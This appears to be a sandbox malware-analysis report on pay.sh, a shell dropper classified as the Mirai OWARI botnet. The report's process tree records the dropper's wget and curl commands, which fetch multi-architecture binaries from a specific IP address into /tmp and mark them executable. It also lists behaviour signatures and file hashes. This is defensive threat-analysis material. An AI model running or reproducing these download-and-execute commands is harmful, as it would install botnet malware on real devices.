Overview

overview

10

Static

static

1

pay.sh

ubuntu-18.04-amd64

10

pay.sh

debian-9-armhf

10

pay.sh

debian-9-mips

pay.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    14/10/2025, 22:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    pay.sh
  • Size 1KB
  • Sample251014-2q313sem8x
  • SHA256 e24dd004f6ce8f29d3d5f8a6202d20cfe824c7696023da5eacf66c5d6a9ca6e0
  • MD5 SHA1 SHA512
Score
10/10
botnetowaridefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

Botnet

  • OWARI

Extracted

Family

  • mirai

Botnet

  • OWARI

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Mirai family
    mirai
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Changes its process name 10 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/pay.sh
    /tmp/pay.sh
    1⤵
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Enumerates active TCP sockets
    • Changes its process name
    • Reads system network configuration
    • Writes file to tmp directory
    PID:1549
    • /usr/bin/wget
      wget http://151.242.30.16/bins/x86
      2⤵
      • Writes file to tmp directory
      PID:1550
    • /usr/bin/curl
      curl -O http://151.242.30.16/bins/x86
      2⤵
      • Writes file to tmp directory
      PID:1554
    • /bin/cat
      cat x86
      2⤵
        PID:1556
      • /bin/chmod
        chmod +x config-err-MDc75q netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
        2⤵
        • File and Directory Permissions Modification
        PID:1557
      • /usr/bin/wget
        wget http://151.242.30.16/bins/mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1565
      • /usr/bin/curl
        curl -O http://151.242.30.16/bins/mips
        2⤵
        • System Network Configuration Discovery
        PID:1568
      • /bin/chmod
        chmod +x config-err-MDc75q mips netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
        2⤵
        • File and Directory Permissions Modification
        PID:1570
      • /usr/bin/wget
        wget http://151.242.30.16/bins/mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1581
      • /usr/bin/curl
        curl -O http://151.242.30.16/bins/mipsel
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1584
      • /bin/chmod
        chmod +x config-err-MDc75q mips mipsel netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
        2⤵
        • File and Directory Permissions Modification
        PID:1588
      • /usr/bin/wget
        wget http://151.242.30.16/bins/arm4
        2⤵
          PID:1597
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/arm4
          2⤵
          • Writes file to tmp directory
          PID:1600
        • /bin/chmod
          chmod +x arm4 config-err-MDc75q mips mipsel netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1602
        • /usr/bin/wget
          wget http://151.242.30.16/bins/arm5
          2⤵
          • Writes file to tmp directory
          PID:1613
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/arm5
          2⤵
          • Writes file to tmp directory
          PID:1616
        • /bin/chmod
          chmod +x arm4 arm5 config-err-MDc75q mips mipsel netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1618
        • /usr/bin/wget
          wget http://151.242.30.16/bins/arm6
          2⤵
          • Writes file to tmp directory
          PID:1629
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/arm6
          2⤵
          • Writes file to tmp directory
          PID:1632
        • /bin/chmod
          chmod +x arm4 arm5 arm6 config-err-MDc75q mips mipsel netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1634
        • /usr/bin/wget
          wget http://151.242.30.16/bins/arm7
          2⤵
          • Writes file to tmp directory
          PID:1645
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/arm7
          2⤵
          • Writes file to tmp directory
          PID:1648
        • /bin/chmod
          chmod +x arm4 arm5 arm6 arm7 config-err-MDc75q mips mipsel netplan_5pbw1k4_ pay.sh robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1652
        • /usr/bin/wget
          wget http://151.242.30.16/bins/ppc
          2⤵
          • Writes file to tmp directory
          PID:1661
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/ppc
          2⤵
          • Writes file to tmp directory
          PID:1664
        • /bin/chmod
          chmod +x arm4 arm5 arm6 arm7 config-err-MDc75q mips mipsel netplan_5pbw1k4_ pay.sh ppc robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1666
        • /usr/bin/wget
          wget http://151.242.30.16/bins/m68k
          2⤵
          • Writes file to tmp directory
          PID:1677
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/m68k
          2⤵
          • Writes file to tmp directory
          PID:1680
        • /bin/chmod
          chmod +x arm4 arm5 arm6 arm7 config-err-MDc75q m68k mips mipsel netplan_5pbw1k4_ pay.sh ppc robi snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1682
        • /usr/bin/wget
          wget http://151.242.30.16/bins/sh4
          2⤵
          • Writes file to tmp directory
          PID:1693
        • /usr/bin/curl
          curl -O http://151.242.30.16/bins/sh4
          2⤵
          • Writes file to tmp directory
          PID:1696
        • /bin/chmod
          chmod +x arm4 arm5 arm6 arm7 config-err-MDc75q m68k mips mipsel netplan_5pbw1k4_ pay.sh ppc robi sh4 snap-private-tmp ssh-E8S7cWE3t8ZA systemd-private-143466eebc31483ab902e09a437699e4-bolt.service-atrwyG systemd-private-143466eebc31483ab902e09a437699e4-colord.service-C1YtxN systemd-private-143466eebc31483ab902e09a437699e4-ModemManager.service-yaFOy1 systemd-private-143466eebc31483ab902e09a437699e4-systemd-resolved.service-8aVUle systemd-private-143466eebc31483ab902e09a437699e4-systemd-timedated.service-aDCtWm x86
          2⤵
          • File and Directory Permissions Modification
          PID:1700

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            arm4
            • Path /tmp/arm4
            • Size 275B
            • SHA256 69c7cd891fcb842e2e97e9a363e8553d623eab6a52a7c23e8f4f35c168b835cc
            • MD5 SHA1 SHA512
            Submit Download

            arm5
            • Path /tmp/arm5
            • Size 91KB
            • SHA256 efe87e7799c3f8071ceb9452f9efad18dc3d3c8e615309917c6844f3a607f9d8
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            arm6
            • Path /tmp/arm6
            • Size 142KB
            • SHA256 71f476b2ccc96bae580f1cb6d8414678769546c7c4961589b883d906091b9c5e
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            arm7
            • Path /tmp/arm7
            • Size 225KB
            • SHA256 30da404c10431fd29f1bffc6ded248854b0d33d810d2309acf6090f6ae8cbcf3
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            m68k
            • Path /tmp/m68k
            • Size 143KB
            • SHA256 25b16b951085cab03ff5aa47b424cf96853653791b88dd08b7dbd43fad2a41a1
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            mips
            • Path /tmp/mips
            • Size 167KB
            • SHA256 f497eb0343706b69c0c2ffa5b813e991f495f1205a735764b93c6ebe6b0f7f55
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            mipsel
            • Path /tmp/mipsel
            • Size 175KB
            • SHA256 2292abed4e8f05eb62d2fa747d149c4b35a95f42c3971bc2012baeaf5b24a950
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            ppc
            • Path /tmp/ppc
            • Size 131KB
            • SHA256 ea32b386b60aca13dc19502672765d447c32124d7f8481eb802a1d42be8b146b
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            sh4
            • Path /tmp/sh4
            • Size 117KB
            • SHA256 4366ba9265bbfda2ba6ac44d15bbd1779d782121e3004ac78bb276aa2ffe7c7e
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download

            x86
            • Path /tmp/x86
            • Size 105KB
            • SHA256 cbbf94af1383a81e3475a9baa99efcc808f6aa8367f201c2da00e6431d8ab303
            • MD5 SHA1 SHA512 SSDEEP
            Submit Download